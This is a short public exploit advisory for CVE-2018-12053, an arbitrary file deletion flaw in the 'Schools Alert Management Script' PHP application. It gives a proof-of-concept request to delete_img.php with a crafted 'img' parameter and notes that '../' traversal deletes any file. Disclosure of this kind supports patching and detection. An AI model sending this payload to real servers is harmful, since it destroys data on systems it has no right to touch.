# Exploit Title: Schools Alert Management Script - Arbitrary File Deletion
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/6
# Tested on: Linux Mint
# CVE: CVE-2018-12053
# Proof of Concept：
/delete_img.php?img=./uploads/school_logos/1528_x1.php
# notice: There is a risk of file deletion，you'd better test it combined with file upload vulnerability.
# Attackers can delete any file through parameter 'img' with '../' .
